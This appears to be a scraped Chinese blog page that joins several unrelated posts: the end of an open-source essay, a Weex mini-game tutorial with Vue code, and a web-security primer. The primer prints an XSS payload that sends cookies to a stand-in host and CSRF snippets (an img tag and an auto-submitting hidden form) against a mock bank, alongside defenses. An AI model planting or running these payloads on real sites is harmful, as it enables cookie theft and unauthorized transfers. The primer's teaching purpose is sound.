在「知名度指标」(star 数和下载数)上,有些项目会在第一天就飞涨,之后便早早地停止上涨了。另外一些项目会在沉淀一年后成为头条最热项目。相信你的项目会在不久后被别人发掘,如果没有,你也将学会一些东西:可能对于其他人来说它是无用的,但对于你的下一个项目来说它将是你的又一笔财富。
我有很多 star 近似为 0 的项目,比如 mocha-browse,但我从不失望,因为我并没有很高的期望。在项目开始是我就这么想:我发现一个好问题,我尽我所能地去解决它,可能有些人会需要它,也可能没有,那又有什么大不了的。
这是我在做开源中最喜欢的部分。2015年在 Algolia,我们在寻找一种解决方案可以单元测试和冻结我们使用 JSX 输出的 html,以便我们为写 React 组件生成我们的 React UI 库 InstantSearch.js。
由于 JSX 被编译成 function 调用的,因此我们当时的解决方案是编写方法 expect(<Component />).toDeepEqual(<div><span/></div>)
,也只是比较两个 function 的调用输出,但是这些调用输出都是复杂的对象树,在运行时可能会输出Expected {-type: ‘span’, …}
。输入和输出比较是不可行的,而且开发者在测试时也会抓狂。
为了解决这个问题,我们创建了 algolia/expect-jsx,他让我们可以在单元测试中使用 JSX 字符串做比较,而不是那些不可读的对象树。测试的输入和输出将使用相同的语义。我们并没有到此为止,我们并不是仅仅发布一个库,而是两个库,其中一个是在第一个的基础上提炼出来的。
通过发布两个共同解决一个问题的模块,你可以使社区受益于你的底层解决方案,这些方案可以应用在许多不同的项目中,还有一些你甚至想不到的应用方式。
比如,react-element-to-jsx-string 在许多其他的期望测试框架中使用,也有使用在像 storybooks/addon-jsx 这类的文档插件上。现在,如果想测试 React 组件的输出结果,使用 Jest 并进行快照测试,在这种情况下就不在需要 expect-jsx 了。
这里有很多问题,当然,这是我为了好看而伪造的🙂
一旦你开始了开源的反馈和贡献就要做好开放和乐观的准备。你会得到赞许也会有否定。记住,任何和用户的交流都是一种贡献,尽管这看起来只是抱怨。
首先,要在书面上传达意图或语气并不容易。你可以使用「这很棒、这确实很差劲、我不明白、我很高兴、我很难过」来解释「奇怪了。。」,询问更多的细节并试着重现这个问题,以便更好地理解它是怎么产生的。
一些避免真正抱怨的建议:
;
就拒绝他们的合并请求,要让他们有安全感。你可以温和的请求他们将其补上,如果这招没用,你可以就直接合并代码,然后自己编写测试和文档。感谢你的阅读,我希望你会喜欢这篇文章,并能帮你找到你想要帮助或者创建的项目。对开源社区做贡献是扩展你的技能的好方法,对每个开发者来说并不是强制性的体验,而是一个走出你的舒适区的好机会。
我现在很期待你的第一个或下一个开放源码项目,可以在 Twitter 上 @ 我 @vvoyer,我很乐意给你一些建议。
如果你喜欢开源,并且想在公司实践而不是空闲时间,Algolia 已经为 开源 JavaScript 开发者 提供岗位了。
其他你可以会喜欢的资源:
感谢 Ivana、Tiphaine、Adrien、Josh、Peter、Raymond、zwwill 木羽、刘文哲、SeanW20 为这篇文章作出的帮助、审查和贡献。
掘金翻译计划 是一个翻译优质互联网技术文章的社区,文章来源为 掘金 上的英文分享文章。内容覆盖 Android、iOS、前端、后端、区块链、产品、设计、人工智能等领域,想要查看更多优质译文请持续关注 掘金翻译计划、官方微博、知乎专栏。
作为一个移动端初学者、爱好者,能使用前端技术开发原生游戏一直是一件渴望而不可及的事情,暂且不说游戏逻辑的复杂度,算法的健壮性,单单是场景、画布、布局就让我们无处下手。
几年前曾经参与 Appcan 技术的技术孵化和推广,尝试使用 Hybrid 技术写过一个小游戏,由于此游戏结构场景比较简单,所以未使用大型的游戏引擎,Cocos2d-x游戏引擎,所有逻辑全部手工。同样也是可「三端同构」,但本质上还是一个 H5小游戏,只是可以安装在手机上,执行环境是一个 Webview,所以,H5可以做的,他都可以做,H5不能做到,他未必不能做,如摄像头、陀螺仪等。但缺点也很致命,执行效率完全受限于原生控件 Webview,要知道对于一个游戏来讲,流畅度是第一要义。
总的来讲,使用 Hybrid 技术开发游戏的方案虽然可行,但是,效果并不是我想要的。
自从 ReactNative 开源以来,一直想着要使用 ReactNative 开发游戏。个人原因,一直未付诸实践。直到上周有网友问我,「Weex是否能拿来做游戏开发」,试试就知道,那就先拿 Weex 开刀,来挑战下 game app 同构的能力,给还没上车的朋友带波节奏。
如果你还未入门,没关系,就当看个热闹了,知道 Weex 能不能快速开发游戏就可以了。
如果你想先入门,以下几篇文章你可以当作是导读。
官方提供的 WeexPlayground 中也提供了一个游戏 demo 扫雷,如下图
此 demo 是为了实践以下三件事:
总体表现还是不错的。更多细节,可详读《Weex版扫雷游戏开发》
别人的东西再炫酷也始终是别人的,不自己动手码一个说话都不硬气!
没有实践就没有发言权,此处献上源码的 Github 链接:https://github.com/zwwill/just-do-8,欢迎「Star」「Fork」,支持瞎搞 ψ(`∇´)ψ
先来感受下最终的效果
可以直接使用 Weex Playground 扫码体验 Weex Playground下载地址
规则很简单,会玩「俄罗斯方块」和「2048」就一定会玩这款小游戏
由于要快速产出,界面随便就别太在意了,另外很多功能还没有开发,如,全球排名、分享、游戏设置等,这些都放在后面慢慢迭代吧(如果有第二版的话( ̄. ̄))
接下来是一大波源码分析,不感冒?那就直接跳过。
由于篇幅有限,此处只做简要介绍,详细请见工程源码,地址请爬楼
只有三个文件(一个场景两个组件)。我来逐一讲解下每个文件的职能。
**【index.vue】**是一个场景文件,用于根据状态切换场景,以及监听处理所有的手势
【模版 | 简码】
<template>
<div class="wrapper" @swipe="onSwipe" @click="onClick" @panstart="onPanstart" @panend="onPanend" @horizontalpan="onHorizontalpan">
<!-- 此处省略一堆代码 -->
<stoneMap v-if="stoneMapShow" ref="rStoneMap" class="stone-map" @screenLock="onScreenLock" @screenUnlock="onScreenUnlock" @over="onGameover" @win="onGameWin"></stoneMap>
<!-- 此处省略一堆代码 -->
</div>
</template>
我们监听了 Weex 的一堆事件来「合成」我们需要的【切换】【左右滑动】【下降】等主要游戏操作。如@swipe
、@click
、@panstart
、@panend
和@horizontalpan
,同时给<stoneMap />
组件注册@screenLock
、@screenUnlock
、@over
和@win
等事件,用于游戏场景切换。
swipe
的属性direction
提供在屏幕上滑动时触发的方向,本项目用到up
、down
,官方给的说法是『direction
的值可能为up
、left
、bottom
、right
』但实际上我得到的却是down
而不是bottom
,具体请客还在和Weex的开发团队进行沟通,确认后会更新上来。另外要注意的是@swipe
、@click
、@panstart
、@panend
和@horizontalpan
这些事件同时使用时会出现冲突问题,Android 平台下问题比较多,具体大家在做的时候需要做好兼容click
事件<stoneMap />
组件发起滑块左右滑动的指令具体事件的使用姿势,大家可以详读官方文档
每一个事件方法的功能实现和视觉此处就略去了。
**【stoneMap.vue】**就像是「大内总管」,一切闲杂喽啰的事都归他管。主要管理的数字块的布局、状态、游戏分值等
【简码】
<template>
<div class="u-slider">
<!-- 此处省略一些记录分值等无关紧要的代码 -->
<template v-for="i in stones">
<stone :ref="i.id" :id="i.id" :p0="i.p0" :num0="i.s"></stone>
</template>
</div>
</template>
<script>
export default {
components: {
stone: stone
},
data() {
return {
MAX_H: 9,
stones: [],
map: [],
// 此处省略一些无关紧要的data
}
},
mounted() {
// 绘制画布矩阵
for (let _i = 0; _i < this.MAX_H; _i++) {
this.map.push(['', '', '', '', '', '']);
}
// 开始游戏
this.pushStones();
},
methods: {
/**
* 事件控制
* */
action(_action) { /* ... */ },
/**
* 新增三个单元数字块
* */
pushStones() { /* ... */ },
/**
* 滑块切换
* */
actionChange() { /* ... */ },
/**
* 滑块左右滚动
* */
actionSliderMove(_d) { /* ... */ },
/**
* 单元块位置移动+权重加码
* */
actionDown() { /* ... */ },
/**
* 重新计算map并更新
* */
mapUpdate() { /* ... */ },
/**
* 计算map
* */
mapCalculator: (function () { /* ... */ })(),
/**
* 整理数字块,堆积下降
* */
stonesTrim() { /* ... */ },
/**
* 单元块位置移动+权重加码
* */
sChange(_id, _p, _score) { /* ... */ }
}
}
</script>
此处主要介绍下事件的控制分发和逻辑网的计算,讲解在注释中
【action() | 简码】
/**
* 事件的控制分发
* */
action(_action) {
if (!!this.actionLock) return;
switch (_action) {
case 'click':
case 'up':
// click 和 up 触发上方三个活动数字块的互相切换
this.actionChange();
break;
case 'left':
case 'right':
// left 和 right 触发上方三个活动数字块的的整体平移
this.actionSliderMove(_action);
break;
case 'down':
case 'bottom':
// down 触发上方三个活动数字块进场
// bottom 起到兼容的作用
this.actionDown();
break;
default:
break;
}
}
【mapCalculator() | 全码】
/**
* 计算map
* */
mapCalculator: (function () {
var updateStone = function (_stones, _id, _s) {
/**
* 此方法控制得分规则
* 横竖对角线+1分
* 十字、X型+2分
* 8字型、9宫格分别+3分、+4分,当然,不可能存在这两种情况
* */
if (_stones[_id]) {
_s != 0 && _s < 8 && (_stones[_id]['score'] == 0 ? _stones[_id]['score'] = _s : _stones[_id]['score']++);
} else {
_stones[_id] = {
id: _id,
score: _s
}
}
};
return function (_map) {
let hasChange = false,
activeStones = {},
height = _map.length - 1,
width = _map[0].length - 1,
_tp_id, _s;
// 全逻辑网遍历
for (let y = height; y >= 0; y--) {
for (let x = 0; x <= width; x++) {
_tp_id = _map[y][x] || "";
// 排除四角
if (!_tp_id || (x == 0 || x == width) && (y == 0 || y == height)) continue;
_s = parseInt(this.$refs[_tp_id][0].num);
let _p1, _p2;
if (x == 0 || x == width || y == 0 || y == height) {
// 侧边,将其单独提炼出来是为了减少计算量三分之一的计算量
if (x == 0 || x == width) {
// 竖排
if (!_map[y - 1][x] || !_map[y + 1][x]) continue;
_p1 = this.$refs[_map[y - 1][x]][0];
_p2 = this.$refs[_map[y + 1][x]][0];
} else if (y == 0 || y == height) {
// 横排
if (!_map[y][x - 1] || !_map[y][x + 1]) continue;
_p1 = this.$refs[_map[y][x - 1]][0];
_p2 = this.$refs[_map[y][x + 1]][0];
}
if (_p1 && _p2 && _p1.num == _s && _p2.num == _s) {
hasChange = true;
updateStone(activeStones, _tp_id, ++_s);
updateStone(activeStones, _p1.id, 0);
updateStone(activeStones, _p2.id, 0);
}
} else {
// 中间可形成九宫格区域
const _map_matrix = [
[[0, 1], [0, -1]],
[[-1, 1], [1, -1]],
[[-1, 0], [1, 0]],
[[-1, -1], [1, 1]]
];
for (let _i = 0, _mm; _i < _map_matrix.length; _i++) {
_mm = _map_matrix[_i];
if (!_map[y + _mm[0][0]][x + _mm[0][1]] || !_map[y + _mm[1][0]][x + _mm[1][1]]) continue;
_p1 = this.$refs[_map[y + _mm[0][0]][x + _mm[0][1]]][0];
_p2 = this.$refs[_map[y + _mm[1][0]][x + _mm[1][1]]][0];
if (_p1 && _p2 && _p1.num == _s && _p2.num == _s) {
hasChange = true;
updateStone(activeStones, _tp_id, _s + 1);
updateStone(activeStones, _p1.id, 0);
updateStone(activeStones, _p2.id, 0);
}
}
}
}
}
// 存在更新块
if (hasChange) {
setTimeout(() => {
for (let s in activeStones) {
this.sChange(s, undefined, activeStones[s].score);
}
// 数字块整理
setTimeout(() => {
this.stonesTrim();
}, 100)
}, 400)
} else {
let _errorStone = "";
for (let _i = 0; _i < this.map[0].length; _i++) {
if (this.map[0][_i]) {
_errorStone = this.$refs[this.map[0][_i]][0].$refs['stone'];
break;
}
}
if (!!_errorStone) {
this.$emit('over', this.totalScore, this.highScore, _errorStone);
if (this.totalScore > this.highScore) {
storage.setItem('H-SCORE', this.totalScore)
}
} else {
this.$emit('screenUnlock');
setTimeout(() => {
this.pushStones();
}, 100);
}
}
}
})()
【stonesTrim | 全码】
/**
* 整理数字块,堆积下降
* */
stonesTrim() {
let hasChange = false,
height = this.map.length - 1,
width = this.map[0].length - 1,
_tp_id, _step = 0;
for (let x = 0; x <= width; x++) {
_step = 0;
for (let y = height; y >= 0; y--) {
_tp_id = this.map[y][x] || "";
if (!_tp_id) {
_step++;
continue;
} else if (_step > 0) {
hasChange = true;
this.sChange(_tp_id, {y: _step});
this.map[y + _step][x] = _tp_id;
this.map[y][x] = "";
}
}
}
setTimeout(() => {
this.mapUpdate();
}, hasChange ? 200 : 0);
}
**【stone.vue】**就像被「大内总管」管理着的「小太监」(数字块),「小太监」的一举一动都是被「总管」支配的,包括其长相(颜色)、品级(数字)以及生死(生命周期),但状态的改变都是由自己执行,直接自己整容,自己升级,还要。。自杀。底层人民好无奈 ╮(╯_╰)╭
【简码】
<template>
<text ref="stone" class="u-stone" :style="{color:color,visibility:visibility,backgroundColor:backgroundColor0}" v-if="show" >{{score}}</text>
</template>
<script>
const animation = weex.requireModule('animation');
export default {
props: ['id', 'p0', 'num0'],
data(){
return {
show: true,
p: '0,8',
visibility: '',
num: -1,
colors: ["#333","#666","#eee","#b9e3ee","#ebe94b","#46cafb","#eca48f","#decb3d","#8d1894"],
backgroundColors: ["#222","#ddd","#999","#379dc3","#36be0d","#001cc6","#da4324","#56125a","#ffffff"]
}
},
computed: {
color: function () {
return this.colors[this.num];
},
score: function () {
this.num<0 && (this.num = this.num0 || 1);
return this.num<9&&this.num>0?this.num:0
},
backgroundColor0: function () {
return this.backgroundColors[this.num];
}
},
watch: {
p: function (val) {
// 移动数字块
var _x = 125*val.charAt(0)+"px",
_y = 125*val.charAt(2)+"px";
// 使用animation库实现过度动画
animation.transition(this.$refs['stone'],{
styles: {
transform: 'translate('+_x +',-'+_y+')'
},
duration: 200,
timingFunction: 'ease-in',
delay: 0
});
}
},
mounted(){
this.initState(this.p0);
},
methods: {
/**
* 移动数字块
* */
move(_x, _y){ /* ... */ },
/**
* 更新数字块的分值,即显示数字
* */
scoreChange(_num){ /* ... */ },
/**
* 初始化数字块的位置
* */
initState(_p){ /* ... */ }
}
}
</script>
好了,辣么乐色的代码我都不好意思再唠叨了。换个话题,来讲讲这个小游戏从无到有中间的一些方案的变更吧。
由于对 Weex 的过高期望,导致很多最初的方案都被「阉割」或者「整容」。
想让元素动起来,传统前端一般有两种方式
1、CSS 动画
2、JS 动画
在 Weex 上由多了一个
3、animation 内建模块,可执行原生动画
由于 css3 的 transition 在 Weex 的 0.16.0+ 版本才能使用,官方提供的 demo 框架引用的 SDK 版本低于此版本,方案1,无效!
Weex 上的视觉是通过解析 VDom,在调用原生控件渲染成的,完全没有 DOM ,所以 JS 动画的方案,无效!
看了只剩下 Weex 的 animation 内建动画模块了。
虽然不太喜欢,用起来也很别扭,但是没办法,有总比没有强。知促常乐吧。
来看一下 animation 的使用姿势
animation.transition(this.$refs.test, {
styles: {
color: '#000',
transform: 'translate(100px, 100px) sacle(1.3)',
backgroundColor: '#CCC'
},
duration: 800, // ms
timingFunction: 'ease',
needLayout:false,
delay: 0 // ms
}, function () {
// animation finished.
})
想实现一个多态循环的动画,还要写一个方法,想想就难受
没有声音还能算是游戏吗?!
嗯 ~ ~ ~ 好像可以算
无所谓啦~ 开心最重要 ︿( ̄︶ ̄)︿
尴尬的是 Weex 官方压根就没给咱们提供这样的 API,好在有三方的插件可用,Nat, 刚好可以用上。
Weex 提倡使用网络资源,所有我把音频文件上传到了 CDN 上,为了能快一点。。
当然不可能一路顺风!
我们来看看 Nat Audio 模块的使用方式
Nat.audio.play('http://cdn.instapp.io/nat/samples/audio.mp3')
然而 Nat.audio 只提供了 play() | pause() | stop() 三个 API。
为什么没有 replay() 重放?我想用的就是重放。这都不是事儿,使用 play() 硬着头皮上吧!
由于 Nat.audio 不支持 Web 端,每次修改都是真机调试,那个速度,唉~~~我终于理解原生小伙伴们的痛苦了。。
这也不是事儿,最气愤的就是,Nat.audio.play() 每次播放相同的音频竟然不是走的缓存!难道缓存机制还要自己做?!?!ヽ(`⌒´)ノ 我的天!
最后还是乖乖的用背地文件吧。还要写平台路径适配。。
没想到音频的槽点这么多!还要我没用 Weex 做网易云音乐。
前文也有讲过,小游戏用到了@swipe
、@click
、@panstart
、@panend
和@horizontalpan
这么多事件监听。官方也有友情提醒「horizontalpan 手势在 Android 下会与 click 事件冲突」,但实际上 ios 平台上也会有冲突。
具体的我就不再描述了。此处只想说明,Weex 在手势指令上虽然可以满足游戏的基础指令要求,但细节上还是不太理想。
关于 IOS 的上线审核要求还是比较严格的。
以上两点是我在提交审核被拒的两点。
解决方案也比较直接,【WXDevtool】和【ATSDK-Weex】 是内部做调试的工具包,直接清理掉即可
至于 iPad 适配,让我们适配那就乖乖适配下吧,没办法,谁叫人家是老大,
总的来讲,Weex 算是满足了我做小游戏的要求。如果想做大型游戏,就不建议使用 Weex 了,Weex 确实做不了,但者也不是 Weex 诞生的意义。
关于Web安全的问题,是一个老生常谈的问题,作为离用户最近的一层,我们大前端确实需要把手伸的更远一点。
我们最常见的Web安全攻击有以下几种
下面我们来一一分析
跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
主要通过利用系统反馈行为漏洞,并欺骗用户主动触发,从而发起Web攻击。
举个栗子:
在搜索框搜索内容,填入“<script>alert('xss')</script>”, 点击搜索。
当前端页面没有对填入的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。
(当然上图是模拟的)
以上3步只是“自娱自乐”,XSS最关键的是第四步。
http://you.163.com/search?keyword=<script>document.location='http://xss.com/get?cookie='+document.cookie</script>
Stored XSS和Reflected XSS的差别就在于,具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行,从而获得了在网络上传播的能力。
再举个栗子:
你好!当你看到这段文字时,你的信息已经不安全了!<script>alert('xss')</script>
后端没有对文章进行过滤,直接保存文章内容到数据库。
当其他读者看这篇文章的时候,包含的恶意脚本就会执行。
tips:文章是保存整个HTML内容的,前端显示时候也不做过滤,就极可能出现这种情况。
此为题多从在于博客网站。
如果我们的操作不仅仅是弹出一个信息,而且删除一篇文章,发一篇反动的文章,或者成为我的粉丝并且将这篇带有恶意脚本的文章转发,这样是不是就具有了攻击性。
DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。
DOM型XSS其实是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容,从客户端获取DOM中的数据并在本地执行。基于这个特性,就可以利用JS脚本来实现XSS漏洞的利用。
可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
······
XSS攻击的本质就是,利用一切手段在目标用户的浏览器中执行攻击脚本。
对于一切用户的输入、输出、客户端的输出内容视为不可信,在数据添加到DOM或者执行了DOM API的时候,我们需要对内容进行HtmlEncode或JavaScriptEncode,以预防XSS攻击。
具体实施,请参考此篇博文http://www.cnblogs.com/lovesong/p/5211667.html
CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。但往往同XSS一同作案!
此下的详解转子hyddd的博客http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html,示例写的很赞就大部分誊抄至此,并做了一定的修改,向作者致敬&致谢。
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
CSRF这种攻击方式在2000年已经被国外的安全人员提出,但在国内,直到06年才开始被关注,08年,国内外的多个大型社区和交互网站分别爆出CSRF漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型的BLOG网站),YouTube和百度HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称CSRF为“沉睡的巨人”。
从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:
看到这里,你也许会说:“如果我不满足以上两个条件中的一个,我就不会受到CSRF的攻击”。是的,确实如此,但你不能保证以下情况不会发生:
上面大概地讲了一下CSRF攻击的**,下面我将用几个例子详细说说具体的CSRF攻击,这里我以一个银行转账的操作作为例子(仅仅是例子,真实的银行网站没这么傻:>)
银行网站A,它以GET请求来完成银行转账的操作,如:http://www.mybank.com/Transfer.php?toBankId=11&money=1000
危险网站B,它里面有一段HTML的代码如下:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
首先,你登录了银行网站A,然后访问危险网站B,噢,这时你会发现你的银行账户少了1000块......
为什么会这样呢?原因是银行网站A违反了HTTP规范,使用GET请求更新资源。在访问危险网站B的之前,你已经登录了银行网站A,而B中的以GET的方式请求第三方资源(这里的第三方就是指银行网站了,原本这是一个合法的请求,但这里被不法分子利用了),所以你的浏览器会带上你的银行网站A的Cookie发出Get请求,去获取资源
http://www.mybank.com/Transfer.php?toBankId=11&money=1000
结果银行网站服务器收到请求后,认为这是一个更新资源操作(转账操作),所以就立刻进行转账操作......
为了杜绝上面的问题,银行决定改用POST请求完成转账操作。
银行网站A的WEB表单如下:
<form action="Transfer.php" method="POST">
<p>ToBankId: <input type="text" name="toBankId" /></p>
<p>Money: <input type="text" name="money" /></p>
<p><input type="submit" value="Transfer" /></p>
</form>
后台处理页面Transfer.php如下:
<?php
session_start();
if (isset($_REQUEST['toBankId'] && isset($_REQUEST['money']))
{
buy_stocks($_REQUEST['toBankId'], $_REQUEST['money']);
}
?>
危险网站B,仍然只是包含那句HTML代码:
<img src=http://www.mybank.com/Transfer.php?toBankId=11&money=1000>
和示例1中的操作一样,你首先登录了银行网站A,然后访问危险网站B,结果.....和示例1一样,你再次没了1000块~T_T,这次事故的原因是:银行后台使用了$_REQUEST去获取请求的数据,而$_REQUEST既可以获取GET请求的数据,也可以获取POST请求的数据,这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中,可以使用$_GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中,用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。
经过前面2个惨痛的教训,银行决定把获取请求数据的方法也改了,改用$_POST,只获取POST请求的数据,后台处理页面Transfer.php代码如下:
<?php
session_start();
if (isset($_POST['toBankId'] && isset($_POST['money']))
{
buy_stocks($_POST['toBankId'], $_POST['money']);
}
?>
然而,危险网站B与时俱进,它改了一下代码:
<html>
<head>
<script type="text/javascript">
function steal()
{
iframe = document.frames["steal"];
iframe.document.Submit("transfer");
}
</script>
</head>
<body onload="steal()">
<iframe name="steal" display="none">
<form method="POST" name="transfer" action="http://www.myBank.com/Transfer.php">
<input type="hidden" name="toBankId" value="11">
<input type="hidden" name="money" value="1000">
</form>
</iframe>
</body>
</html>
如果用户仍是继续上面的操作,很不幸,结果将会是再次不见1000块......因为这里危险网站B暗地里发送了POST请求到银行!
总结一下上面3个例子,CSRF主要的攻击模式基本上是以上的3种,其中以第1,2种最为严重,因为触发条件很简单,一个就可以了,而第3种比较麻烦,需要使用JavaScript,所以使用的机会会比前面的少很多,但无论是哪种情况,只要触发了CSRF攻击,后果都有可能很严重。
理解上面的3种攻击模式,其实可以看出,CSRF攻击是源于WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!
在业界目前防御 CSRF 攻击主要有三种策略:验证 HTTP Referer 字段;在请求地址中添加 token 并验证;在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。
利用HTTP头中的Referer判断请求来源是否合法。
优点:简单易行,只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统,不需要改变当前系统的任何已有代码和逻辑,没有风险,非常便捷。
缺点:
1、Referer 的值是由浏览器提供的,不可全信,低版本浏览器下Referer存在伪造风险。
2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时,网站将拒绝合法用户的访问。
在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中,以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证
优点:比检查 Referer 要安全一些,并且不涉及用户隐私。
缺点:对所有请求都添加token比较困难,难以保证 token 本身的安全,依然会被利用获取到token
将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验,并且一次有效。
优点:统一管理token输入输出,可以保证token的安全性
缺点:有局限性,无法在非异步的请求上实施
clickjacking,点击劫持,也叫UI覆盖攻击,攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作,而实际的点击确实用户看不到的一个按钮,从而达到在用户不知情的情况下实施攻击。
这种攻击方式的关键在于可以实现页中页的<iframe />
标签,并且可以使用css样式表将他不可见
如以上示意图的蓝色层,攻击者会通过一定的手段诱惑用户“在红色层”输入信息,但用户实际上实在蓝色层中,以此做欺骗行为。
上图是支付宝手机话费充值的界面。
再看看一下界面
是的,这个是我伪造的,如果我将真正的充值站点隐藏在此界面上方。我想,聪明的你已经知道clickjacking的危险性了。
上图我估计做了一下错位和降低透明度,是不是很有意思呢?傻傻分不清的用户还以为是领取了奖品,其实是给陌生人充值了话费。
这种方法最常见的攻击场景是伪造一些网站盗取帐号信息,如支付宝、QQ、网易帐号等帐号的账密
目前,clickjacking还算比较冷门,很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。
防止点击劫持有两种主要方法:
X-FRAME-OPTIONS是微软提出的一个http头,指示浏览器不允许从其他域进行取景,专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。
这个头有三个值:
DENY // 拒绝任何域加载
SAMEORIGIN // 允许同源域下加载
ALLOW-FROM // 可以定义允许frame加载的页面地址
在UI中采用防御性代码,以确保当前帧是最顶层的窗口
方法有多中,如
top != self || top.location != self.location || top.location != location
有关Clickjacking防御的更多信息,请参阅Clickjacking Defense Cheat Sheet.
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.